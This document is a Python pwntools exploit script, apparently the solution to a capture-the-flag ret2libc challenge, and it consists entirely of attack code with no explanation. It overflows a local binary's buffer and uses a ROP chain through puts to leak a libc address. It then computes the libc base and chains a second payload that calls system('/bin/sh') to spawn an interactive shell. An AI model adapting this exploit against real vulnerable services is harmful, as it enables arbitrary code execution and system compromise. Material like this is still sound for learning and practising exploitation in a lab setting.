#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *

context.arch = 'amd64'

p = process('./ret2libc')
elf = ELF('./libc.so')
# pause()

libc_start_main_got = 0x600ff0
libc_start_main_offset = 0x21ab0

puts_plt = 0x400520
pop_rdi = 0x400733
ret = 0x400506

main = 0x400698

payload = flat(
    cyclic(0x38),
    pop_rdi,
    libc_start_main_got,
    puts_plt,
    main
)

p.sendlineafter('D', payload)
p.recvline()

elf.address = u64(p.recv(6) + '\0\0') - libc_start_main_offset


payload = flat(
    cyclic(0x38),
    ret,
    pop_rdi,
    elf.search('/bin/sh').next(),
    elf.sym.system
)

p.sendlineafter('D', payload)

p.interactive()
p.close()
